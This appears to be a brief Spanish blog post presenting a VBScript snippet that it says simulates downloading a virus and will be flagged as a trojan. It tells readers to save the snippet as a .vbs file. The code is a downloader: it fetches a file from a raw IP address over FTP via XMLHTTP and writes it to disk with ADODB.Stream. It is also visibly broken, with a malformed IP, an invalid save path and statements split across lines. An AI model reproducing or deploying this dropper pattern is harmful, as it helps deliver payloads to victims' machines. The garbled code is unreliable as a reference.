este codigo simula descargar un virus y la estructura del mismo lo delata cosa que cualquier antivirus que este funionando en un 100% lo detectara y mostrara un alerta de troyan .
aca el codigo:
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open
"GET","ftp://74.125..45.99/_z4KPSWX8izs/SXvcncVGjQI/A
AAAAAAAAAc/OUg7oWA_d9E/s320/herramienats+libres.bmp",
0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile
"C:\ftp://74.125..45.99/_z4KPSWX8izs/SXvcncVGjQI/AAAA
AAAAAAc/OUg7oWA_d9E/s320/herramienats+libres.bmp",2
OJO guardar con extencion .vbs
0 comentarios:
Publicar un comentario